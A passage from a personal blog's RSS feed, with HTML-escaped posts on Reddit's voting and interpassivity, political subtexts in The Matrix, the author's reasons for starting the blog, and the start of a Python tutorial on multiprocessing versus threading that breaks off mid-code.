&lt;p&gt;The fundamental principle upon which Reddit works is social navigation, but it’s far from foolproof. Social navigation is defined as when “movement from one item to another is provoked as an artifact of the activity of another or a group of others”&lt;sup&gt;&lt;a href=&quot;#user-content-fn-5&quot; id=&quot;user-content-fnref-5&quot; data-footnote-ref aria-describedby=&quot;footnote-label&quot;&gt;5&lt;/a&gt;&lt;/sup&gt;. On Reddit, social navigations is materialized in the form of &lt;em&gt;upvotes&lt;/em&gt; and &lt;em&gt;downvotes&lt;/em&gt;: users can vote on a thread or message—either upvoting or downvoting it—and the threads with the most upvotes rise to the top, the motivation being that the most interesting links will rise to the top through this mechanism. Nevertheless, there is an underlying assumption here, assumption that most users will do the community service of going through new threads and voting on them appropriately. If most of the population don’t do that and instead rely on “others”—the symbolic order or the big Other as it’s frequently called in psychoanalysis&lt;sup&gt;&lt;a href=&quot;#user-content-fn-6&quot; id=&quot;user-content-fnref-6&quot; data-footnote-ref aria-describedby=&quot;footnote-label&quot;&gt;6&lt;/a&gt;&lt;/sup&gt;—to do this community service, the system starts to crack. This means not only the “interesting-ness” of new threads determine whether it will rise to the top, but many contingent factors also come into play as well. And this is indeed what’s happening on sites like Reddit: according to a study, Reddit overlooked 52% of the most popular links the first time they were submitted&lt;sup&gt;&lt;a href=&quot;#user-content-fn-7&quot; id=&quot;user-content-fnref-7&quot; data-footnote-ref aria-describedby=&quot;footnote-label&quot;&gt;7&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;This “crack” in the system of social navigation can be understood as a phenomenon of &lt;em&gt;interpassivity&lt;/em&gt;. The theory of interpassivity&lt;sup&gt;&lt;a href=&quot;#user-content-fn-8&quot; id=&quot;user-content-fnref-8&quot; data-footnote-ref aria-describedby=&quot;footnote-label&quot;&gt;8&lt;/a&gt;&lt;/sup&gt;—as developed by cultural theorists Robert Pfaller and Slavoj Žižek—shows us how supposedly interactive forms of enjoyment are rather passive. An example of interpassivity is how canned laughter in TV sitcoms lets us enjoy the show without being amused ourselves; somehow, the task of enjoyment is delegated to the show itself. It can be argued that interpassivity is not only limited to consumption and enjoyment; it also extends to other social phenomena, where participation is recommended but not mandatory. One such phenomenon is social navigation in Internet forums: as long as the individuals know that the posts on the &lt;em&gt;hot&lt;/em&gt; page are vetted by the big Other, they don’t bother doing it themselves. The fact that the big Other is nothing material—it consists of and is driven by the individuals only—gets lost in the dynamics of social navigation. We can also observe that the enjoyment of the posts—such as memes—in a forum is inherently dependent on interpassivity. One does not necessarily have to enjoy the meme or find it funny, the fact that it has been vetted and approved as funny by the community they’re part of makes it funny by itself. In this way, the &lt;em&gt;quality&lt;/em&gt; of a post depends more on the big Other than its intrinsic nature.&lt;/p&gt;
&lt;h2 id=&quot;social-conformity-self-referentiality-and-lack-of-dissent&quot;&gt;Social conformity, self-referentiality and lack of dissent&lt;/h2&gt;
&lt;p&gt;Another factor behind the self-referential nature of forums is the tendency of the members to conform to the social norms. These norms might not be in the form of direct rules; they might be meta-rules that are not stated directly but internally “known” by most members. People posting on forums are aware that their message will be there for everyone, so more often than not there is kind of a peer-pressure so that he conforms to the language game and thus be accepted as a part of the community.&lt;/p&gt;
&lt;p&gt;The existence of &lt;em&gt;karma&lt;/em&gt; makes the previous point more prominent. Karma is the total upvotes an account has received through the various posts and comments in the forum. A high karma count is usually perceived as a sign of being an active contributor to the forum, thus warranting respect. One can easily observe that people often post messages which do not address a conversation directly, rather it appeals to the broader language-game which is familiar to the frequent visitors of that forum. In this way, the messages posted become more and more self-referential in nature. The motivation behind this being, again, the approval of the community, which is conveniently measured by the &lt;em&gt;upvotes&lt;/em&gt;—the karma—the post got.&lt;/p&gt;
&lt;p&gt;The association of respect and status with the sum of &lt;em&gt;karma&lt;/em&gt; of a particular account encourages this social conformity. Thus, dissent is less likely to emerge in such a community. Contrasting it with forums like 4chan, where there is no concept of &lt;em&gt;karma&lt;/em&gt; and every account is anonymous, we can see how there the social conformity game applies to a lesser degree, and subsequently, chances of emergence of dissent and novelty is greater.&lt;/p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;To summarize, the third participant of the language-game—the big Other—takes a much more active part in forums. Human beings are social creatures, social acceptance and popularity being the fundamental currency of the social economy, especially so in an urban society like the Internet. Becoming more and more self-referential is a norm that emerged freely out of the chaos of minimal rules.&lt;/p&gt;
&lt;p&gt;Interestingly, Reddit has changed its description. The new description reads&lt;sup&gt;&lt;a href=&quot;#user-content-fn-9&quot; id=&quot;user-content-fnref-9&quot; data-footnote-ref aria-describedby=&quot;footnote-label&quot;&gt;9&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Reddit is home to thousands of communities, endless conversation, and authentic human connection. Whether you’re into breaking news, sports, TV fan theories, or a never-ending stream of the internet’s cutest animals, there’s a community on Reddit for you.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Seemingly Reddit has understood how its fundamental nature has changed, how its not a “source for what’s new and popular on the web” anymore, rather a site for “… communities, endless conversation, and authentic human connection”.&lt;/p&gt;
&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;
&lt;section data-footnotes class=&quot;footnotes&quot;&gt;&lt;h2 class=&quot;sr-only&quot; id=&quot;footnote-label&quot;&gt;Footnotes&lt;/h2&gt;
&lt;ol&gt;
&lt;li id=&quot;user-content-fn-1&quot;&gt;
&lt;p&gt;Cody Buntain and Jennifer Golbeck. 2014. Identifying social roles in reddit using network structure. In &lt;em&gt;Proceedings of the 23rd International Conference on World Wide Web&lt;/em&gt; (&lt;em&gt;WWW ’14 Companion&lt;/em&gt;). Association for Computing Machinery, New York, NY, USA, 615–620. DOI: &lt;a href=&quot;https://doi.org/10.1145/2567948.2579231&quot;&gt;https://doi.org/10.1145/2567948.2579231&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;Back to reference 1&quot; class=&quot;data-footnote-backref&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;user-content-fn-2&quot;&gt;
&lt;p&gt;Wittgenstein, L. Philosophical Investigations, 1953. &lt;a href=&quot;#user-content-fnref-2&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;Back to reference 2&quot; class=&quot;data-footnote-backref&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;user-content-fn-3&quot;&gt;
&lt;p&gt;Lolspeak. &lt;a href=&quot;https://knowyourmeme.com/memes/lolspeak-chanspeak&quot;&gt;https://knowyourmeme.com/memes/lolspeak-chanspeak&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-3&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;Back to reference 3&quot; class=&quot;data-footnote-backref&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;user-content-fn-4&quot;&gt;
&lt;p&gt;&lt;a href=&quot;https://web.archive.org/web/20181002082143/https://www.reddit.com/r/reddit.com/wiki/index&quot;&gt;https://www.reddit.com/r/reddit.com/wiki/index&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-4&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;Back to reference 4&quot; class=&quot;data-footnote-backref&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;user-content-fn-5&quot;&gt;
&lt;p&gt;Dourish, P. and Chalmers, M. (1004). Running out of space: models of information navigation. Proceedings of HCI’94, Glasgow, August 1994. &lt;a href=&quot;https://www.lri.fr/~mbl/ENS/CSCW/2013/papers/Dourish-HCI94.pdf&quot;&gt;https://www.lri.fr/~mbl/ENS/CSCW/2013/papers/Dourish-HCI94.pdf&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-5&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;Back to reference 5&quot; class=&quot;data-footnote-backref&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;user-content-fn-6&quot;&gt;
&lt;p&gt;Johnston, Adrian, “Jacques Lacan”, The Stanford Encyclopedia of Philosophy (Fall 2018 Edition), Edward N. Zalta (ed.), URL: &lt;a href=&quot;https://plato.stanford.edu/archives/fall2018/entries/lacan/&quot;&gt;https://plato.stanford.edu/archives/fall2018/entries/lacan/&lt;/a&gt;. &lt;a href=&quot;#user-content-fnref-6&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;Back to reference 6&quot; class=&quot;data-footnote-backref&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;user-content-fn-7&quot;&gt;
&lt;p&gt;Eric Gilbert. 2013. Widespread underprovision on Reddit. In &lt;em&gt;Proceedings of the 2013 conference on Computer supported cooperative work&lt;/em&gt; (&lt;em&gt;CSCW ’13&lt;/em&gt;). Association for Computing Machinery, New York, NY, USA, 803–808. DOI: &lt;a href=&quot;https://doi.org/10.1145/2441776.2441866&quot;&gt;https://doi.org/10.1145/2441776.2441866&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-7&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;Back to reference 7&quot; class=&quot;data-footnote-backref&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;user-content-fn-8&quot;&gt;
&lt;p&gt;Pfaller, R. Interpassivity: The Aesthetics of Delegated Enjoyment, 2017. &lt;a href=&quot;#user-content-fnref-8&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;Back to reference 8&quot; class=&quot;data-footnote-backref&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;user-content-fn-9&quot;&gt;
&lt;p&gt;&lt;a href=&quot;https://web.archive.org/web/20200818085528/https://www.redditinc.com/&quot;&gt;https://www.redditinc.com/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-9&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;Back to reference 9&quot; class=&quot;data-footnote-backref&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content:encoded></item><item><title>Political Subtexts in The Matrix</title><link>https://sumit-ghosh.com/posts/political-subtexts-in-the-matrix/</link><guid isPermaLink="true">https://sumit-ghosh.com/posts/political-subtexts-in-the-matrix/</guid><description>Political Subtexts in The Matrix — by Sumit Ghosh.</description><pubDate>Tue, 26 Nov 2019 18:30:00 GMT</pubDate><content:encoded>&lt;p&gt;I was very young, probably pre-teen, when I first watched The Matrix. I enjoyed it a lot, but obviously a lot of the finer subtexts went over my head. Recently when I watched it again, I was surprised to see how radically political—but not overtly so—this movie was. Here are some of my thoughts on the subtextual themes of the movie.&lt;/p&gt;
&lt;h2 id=&quot;what-is-the-matrix&quot;&gt;What is the Matrix?&lt;/h2&gt;
&lt;p&gt;The matrix is a constructed reality, a “neuro-interactive” computer simulation as Morpheus puts it. This reality is also a very authoritarian one. When Trinity first meets Neo, she tells him, “They’re watching you, Neo”; this surveillance clearly gives off an Orwellian vibe. It even has a secret police like the Nazi Gestapo in the form of agents. When Neo is interrogated by the agents, he explicitly calls their tactics out as “Gestapo crap”. In this way, a clear parallel is established between the matrix and authoritarian regimes like Nazi Germany and Stalinist Russia.&lt;/p&gt;
&lt;p&gt;But the matrix differs from this typical, Orwellian world in a crucial way—the inhabitants of the matrix don’t even know that they are imprisoned, and this is where it gets interesting. The Matrix is control, but not in the way we usually think of control. A typical inhabitant of the matrix is not oppressed and controlled by the authorities at every step of their live, at least they don’t think that they are. Nonetheless, the matrix is control. As Morpheus says, the matrix is&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A dream world built to keep us under control, in order to change a human being into a battery.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This “changing of human being into a battery” can be clearly seen as an allusion to an old Marxist critique of capitalism: how individuals are seen as nothing but a source of labor under the system of capitalism. Despite this, the system is a &lt;em&gt;dream world&lt;/em&gt;, i.e. a world which would seem perfect to many. The problem of &lt;em&gt;false consciousness&lt;/em&gt; is clear here.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;It is the world that has been pulled over your eyes to blind you from the truth.
The truth: you are a slave. You are born into a prison that you cannot smell or taste or touch. A prison for your mind.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;discontent-and-alienation&quot;&gt;Discontent and Alienation&lt;/h2&gt;
&lt;p&gt;The system works for most people, but not all. Some—like Neo—are severely alienated from and discontent with it. They “hardly sleep, live alone, night after night at the computer”. As we already discussed, the system doesn’t make its control overtly clear, but some people feel it nonetheless. They feel that something is wrong with the world, the thought is ever present like a splinter in their mind. The question, “what is the matrix”—what is this &lt;em&gt;society of control&lt;/em&gt; and how does it work—keeps this individuals awake at night. As Morpheus tells Neo,&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;You’re here because you know something. What you know you can’t explain, but you feel it. There’s something wrong with the world… It is this feeling that has brought you to me.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;How do they deal with this discontent? They indulge in criminal activities, especially cyber-crimes. For example in the movie, Trinity hacked the IRS database. The exact motive behind this hacking is not stated, but we can infer that their criminal activities are targeted towards the authorities, as kind of a &lt;em&gt;rage against the machine&lt;/em&gt;.&lt;/p&gt;
&lt;h2 id=&quot;morpheus-as-a-radical-extremist&quot;&gt;Morpheus as a Radical Extremist&lt;/h2&gt;
&lt;p&gt;So the movie pretty clearly establishes that the Matrix is the enemy, the big bad. We’ve also seen how Matrix has strong parallels with Deleuzian &lt;em&gt;society of control&lt;/em&gt;, more specifically the contemporary liberal, democratic capitalism. Many people are content with the system, but some aren’t. They also know that the contentment of the majority is based on a lie, and they intend to emancipate them from this lie—the matrix.&lt;/p&gt;
&lt;p&gt;But what stroke me as most interesting was how Morpheus and his crew deal with the Matrix, cause it’s not that morally unambiguous as it might seem at the first glance.&lt;/p&gt;
&lt;p&gt;At a point in the movie, Morpheus speaks,&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The matrix is a system, Neo. that system is our enemy. Until we save the people, the people are part of the system, and that makes them our enemy. You have to understand that most of these people are not ready to be unplugged. Many of them are so inert, so hopelessly dependent on the system that they will fight to protect it. Anyone we haven’t unplugged, is potentially an agent.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;There is no allusion here, this is a direct call to regard ordinary civilians trapped within the matrix as enemies. Morpheus is clearly organizing a violent revolution for the sake of “truth”, against the whole system without any regard for individuals. Combine that with Morpheus’s believe in fate and his part in the prophecy that’ll come to be, one can see how Morpheus’s movement is not far from radical extremism. Whether that’s justified or not is left to be commented upon.&lt;/p&gt;
</content:encoded></item><item><title>Why Did I Create This Blog</title><link>https://sumit-ghosh.com/posts/why-did-i-create-this-blog/</link><guid isPermaLink="true">https://sumit-ghosh.com/posts/why-did-i-create-this-blog/</guid><description>Why Did I Create This Blog — by Sumit Ghosh.</description><pubDate>Fri, 25 Oct 2019 18:30:00 GMT</pubDate><content:encoded>&lt;p&gt;I like to indulge in philosophy—broaden my understanding of the human condition and the various socio-political issues we’re laden with. Recently I’ve come to understand that becoming a more knowledgeable individual by itself doesn’t amount to much, not unless I do something with it. As a thinking individual, writing down my thoughts and sharing them with the netizens is the least I could do. As Noam Chomsky said,&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;IT IS THE RESPONSIBILITY of intellectuals to speak the truth and to expose lies. — &lt;a href=&quot;https://chomsky.info/19670223/&quot;&gt;The Responsibility of Intellectuals&lt;/a&gt;, Noam Chomsky&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Besides, I’ve always found that writing down my thoughts helps me a lot: helps me come to terms with my thoughts, face them, and understand them. If I don’t write them down, they start building up, which leads to general discontent and anxiety. This is especially true of negative thoughts. In the case of positive thoughts, well, writing them down is essential too because having them in written form is a massive help at times of crisis.&lt;/p&gt;
&lt;p&gt;But I already have a blog, so why did I create another one?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Well, my &lt;em&gt;official&lt;/em&gt; blog is not &lt;em&gt;just&lt;/em&gt; a blog; that’s my personal website cum portfolio too. In my job applications and resumes, I frequently link to it. I am developing some unorthodox anti-capitalist, socialist—anarchist political opinions lately, and I can’t help but fear that expressing them on my &lt;em&gt;professional&lt;/em&gt; blog would scare away potential employers. That’s one of the main reasons I thought of this blog, a separate, anonymous blog that isn’t linked to my identity directly—i.e., an employer wouldn’t come across this on a background check.&lt;/li&gt;
&lt;li&gt;I try to maintain a high standard of the posts I make there in my &lt;em&gt;official&lt;/em&gt; blog, so I refrain from writing short posts on half-baked ideas there. But writing long-form blog posts on mature thoughts is very hard: first of all, forming mature thoughts is difficult in itself, moreover writing them down properly is a tough task too for a newbie writer like me. That’s why I’m planning to use this blog as an endpoint for getting my immature ideas out.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So, let’s see how this goes!&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt; — I’ve since decided to make this blog &lt;em&gt;unanonymous&lt;/em&gt;, see &lt;a href=&quot;https://sumit-ghosh.com/posts/im-going-to-use-my-real-name-everywhere/&quot;&gt;this post&lt;/a&gt; for details.&lt;/p&gt;
</content:encoded></item><item><title>Multiprocessing vs. Threading in Python: What Every Data Scientist Needs to Know</title><link>https://sumit-ghosh.com/posts/multiprocessing-vs-threading-python-data-science/</link><guid isPermaLink="true">https://sumit-ghosh.com/posts/multiprocessing-vs-threading-python-data-science/</guid><description>Multiprocessing vs. Threading in Python: What Every Data Scientist Needs to Know — by Sumit Ghosh.</description><pubDate>Sat, 07 Sep 2019 22:20:00 GMT</pubDate><content:encoded>&lt;p&gt;Sooner or later, every data science project faces an inevitable challenge: speed. Working with larger data sets leads to slower processing thereof, so you’ll eventually have to think about optimizing your algorithm’s run time. As most of you already know, parallelization is a necessary step of this optimization. Python offers two built-in libraries for parallelization: multiprocessing and threading. In this article, we’ll explore how data scientists can go about choosing between the two and which factors should be kept in mind while doing so.&lt;/p&gt;
&lt;h2 id=&quot;parallel-computing-and-data-science&quot;&gt;Parallel Computing and Data Science&lt;/h2&gt;
&lt;p&gt;As you all know, data science is the science of dealing with large amounts of data and extracting useful insights from them. More often than not, the operations we perform on the data are easily parallelizable, meaning that different processing agents can run the operation on the data one piece at a time, then combine the results at the end to get the complete result.&lt;/p&gt;
&lt;p&gt;To better visualize parallelizability, let’s consider a real world analogy. Suppose you need to clean three rooms in your home. You can either do it all by yourself, cleaning the rooms one after the other, or you can ask your two siblings to help you out, with each of you cleaning a single room. In the latter approach, each of you are working parallely on a part of the whole task, thus reducing the total time required to complete it. This is parallelizability in action.&lt;/p&gt;
&lt;p&gt;Parallel processing can be achieved in Python in two different ways: multiprocessing and threading.&lt;/p&gt;
&lt;h2 id=&quot;multiprocessing-and-threading-theory&quot;&gt;Multiprocessing and Threading: Theory&lt;/h2&gt;
&lt;p&gt;Fundamentally, multiprocessing and threading are two ways to achieve parallel computing, using processes and threads, respectively, as the processing agents. To understand how these work, we have to clarify what processes and threads are.&lt;/p&gt;
&lt;h3 id=&quot;process&quot;&gt;Process&lt;/h3&gt;
&lt;p&gt;A process is an instance of a computer program being executed. Each process has its own memory space it uses to store the instructions being run, as well as any data it needs to store and access to execute.&lt;/p&gt;
&lt;h3 id=&quot;threads&quot;&gt;Threads&lt;/h3&gt;
&lt;p&gt;Threads are components of a process, which can run parallely. There can be multiple threads in a process, and they share the same memory space, i.e. the memory space of the parent process. This would mean the code to be executed as well as all the variables declared in the program would be shared by all threads.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://upload.wikimedia.org/wikipedia/commons/a/a5/Multithreaded_process.svg&quot; alt=&quot;Process and Threads&quot;&gt;&lt;/p&gt;
&lt;p&gt;Process and Threads, By I, &lt;a href=&quot;//commons.wikimedia.org/wiki/User:Cburnett&quot; title=&quot;User:Cburnett&quot;&gt;Cburnett&lt;/a&gt;, &lt;a href=&quot;http://creativecommons.org/licenses/by-sa/3.0/&quot; title=&quot;Creative Commons Attribution-Share Alike 3.0&quot;&gt;CC BY-SA 3.0&lt;/a&gt;, &lt;a href=&quot;https://commons.wikimedia.org/w/index.php?curid=2233446&quot;&gt;Link&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;For example, let us consider the programs being run on your computer right now. You’re probably reading this article in a browser, which probably has multiple tabs open. You might also be listening to music through the Spotify desktop app at the same time. The browser and the Spotify application are different processes; each of them can use multiple processes or threads to achieve parallelism. Different tabs in your browser might be run in different threads. Spotify can play music in one thread, download music from the internet in another, and use a third to display the GUI. This would be called multithreading. The same can be done with multiprocessing—multiple processes—too. In fact, most modern browsers like Chrome and Firefox use multiprocessing, not multithreading, to handle multiple tabs.&lt;/p&gt;
&lt;h3 id=&quot;technical-details&quot;&gt;Technical details&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;All the threads of a process live in the same memory space, whereas processes have their separate memory space.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Threads are more lightweight and have lower overhead compared to processes. Spawning processes is a bit slower than spawning threads.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Sharing objects between threads is easier, as they share the same memory space. To achieve the same between process, we have to use some kind of IPC (inter-process communication) model, typically provided by the OS.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;pitfalls-of-parallel-computing&quot;&gt;Pitfalls of Parallel Computing&lt;/h3&gt;
&lt;p&gt;Introducing parallelism to a program is not always a positive-sum game; there are some pitfalls to be aware of. The most important ones are as follows.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Race Condition&lt;/strong&gt;: As we already discussed, threads have a shared memory space, and therefore they can have access to shared variables. A race condition occurs when multiple threads try to change the same variable simultaneously. The thread scheduler can arbitrarily swap between threads, so we have no way of knowing the order in which the threads will try to change the data. This can result in incorrect behavior in either of the threads, particularly if the threads decide to do something based on the value of the variable. To prevent this from happening, a mutual exclusion (or mutex) &lt;em&gt;lock&lt;/em&gt; can be placed around the piece of the code that modifies the variable so that only one thread can write to the variable at a time.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Starvation&lt;/strong&gt;: Starvation occurs when a thread is denied access to a particular resource for longer periods of time, and as a result, the overall program slows down. This can happen as an unintended side effect of a poorly designed thread-scheduling algorithm.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Deadlock&lt;/strong&gt;: Overusing mutex locks also has a downside - it can introduce deadlocks in the program. A deadlock is a state when a thread is waiting for another thread to release a lock, but that other thread needs a resource to finish that the first thread is holding onto. This way, both of the threads come to a standstill and the program halts. Deadlock can be thought of as an extreme case of starvation. To avoid this, we have to be careful not to introduce too many locks that are interdependent.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Livelock&lt;/strong&gt; : Livelock is when threads keep running in a loop but don’t make any progress. This also arises out of poor design and improper use of mutex locks.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;multiprocessing-and-threading-in-python&quot;&gt;Multiprocessing and Threading in Python&lt;/h2&gt;
&lt;h3 id=&quot;the-global-interpreter-lock&quot;&gt;The Global Interpreter Lock&lt;/h3&gt;
&lt;p&gt;When it comes to Python, there are some oddities to keep in mind. We know that threads share the same memory space, so special precautions must be taken so that two threads don’t write to the same memory location. The CPython interpreter handles this using a mechanism called &lt;code&gt;GIL&lt;/code&gt;, or the Global Interpreter Lock.&lt;/p&gt;
&lt;p&gt;From the Python &lt;a href=&quot;https://wiki.python.org/moin/GlobalInterpreterLock&quot;&gt;wiki&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;In CPython, the &lt;strong&gt;global interpreter lock&lt;/strong&gt;, or &lt;strong&gt;GIL&lt;/strong&gt;, is a mutex that protects access to Python objects, preventing multiple threads from executing Python bytecodes at once. This lock is necessary mainly because CPython’s memory management is not thread-safe.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Check the slides &lt;a href=&quot;https://www.dabeaz.com/python/UnderstandingGIL.pdf&quot;&gt;here&lt;/a&gt; for a more detailed look at the Python &lt;code&gt;GIL&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;GIL&lt;/code&gt; gets its job done, but at a cost. It effectively serializes the instructions at the interpreter level. How this works is as follows: for any thread to perform any function, it must acquire a global lock. Only a single thread can acquire that lock at a time, which means &lt;strong&gt;the interpreter ultimately runs the instructions serially&lt;/strong&gt;. This design makes memory management thread-safe, but as a consequence, it can’t utilize multiple CPU cores at all. In single-core CPUs, which is what the designers had in mind while developing CPython, it’s not much of a problem. But this global lock ends up being a bottleneck if you’re using multi-core CPUs.&lt;/p&gt;
&lt;p&gt;This bottleneck, however, becomes irrelevant if your program has a more severe bottleneck elsewhere, for example in network, IO, or user interaction. In those cases, threading is an entirely effective method of parallelization. But for programs that are CPU bound, threading ends up making the program slower. Let’s explore this with some example use cases.&lt;/p&gt;
&lt;h3 id=&quot;use-cases-for-threading&quot;&gt;Use Cases for Threading&lt;/h3&gt;
&lt;p&gt;GUI programs use threading all the time to make applications responsive. For example, in a text editing program, one thread can take care of recording the user inputs, another can be responsible for displaying the text, a third can do spell-checking, and so on. Here, the program has to wait for user interaction, which is the biggest bottleneck. Using multiprocessing won’t make the program any faster.&lt;/p&gt;
&lt;p&gt;Another use case for threading is programs that are IO bound or network bound, such as &lt;a href=&quot;https://blog.floydhub.com/web-scraping-with-python/&quot;&gt;web-scrapers&lt;/a&gt;. In this case, multiple threads can take care of scraping multiple webpages in parallel. The threads have to download the webpages from the Internet, and that will be the biggest bottleneck, so threading is a perfect solution here. Web servers, being network bound, work similarly; with them, multiprocessing doesn’t have any edge over threading. Another relevant example is &lt;a href=&quot;https://www.tensorflow.org/api_docs/python/tf/data/Dataset#interleave&quot;&gt;Tensorflow&lt;/a&gt;, which uses a thread pool to transform data in parallel.&lt;/p&gt;
&lt;h3 id=&quot;use-cases-for-multiprocessing&quot;&gt;Use Cases for Multiprocessing&lt;/h3&gt;
&lt;p&gt;Multiprocessing outshines threading in cases where the program is CPU intensive and doesn’t have to do any IO or user interaction. For example, any program that just crunches numbers will see a massive speedup from multiprocessing; in fact, threading will probably slow it down. An interesting real world example is &lt;a href=&quot;https://pytorch.org/docs/stable/data.html#torch.utils.data.DataLoader&quot;&gt;Pytorch Dataloader&lt;/a&gt;, which uses multiple subprocesses to load the data into GPU.&lt;/p&gt;
&lt;h3 id=&quot;parallelization-in-python-in-action&quot;&gt;Parallelization in Python, in Action&lt;/h3&gt;
&lt;p&gt;Python offers two libraries - &lt;a href=&quot;https://docs.python.org/3/library/multiprocessing.html&quot;&gt;&lt;code&gt;multiprocessing&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;https://docs.python.org/3/library/threading.html&quot;&gt;&lt;code&gt;threading&lt;/code&gt;&lt;/a&gt;- for the eponymous parallelization methods. Despite the fundamental difference between them, the two libraries offer a very similar API (as of Python 3.7). Let’s see them in action.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; threading&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; random&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; functools &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt; reduce&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; func&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(number):&lt;/span&gt;&lt;/span&gt;
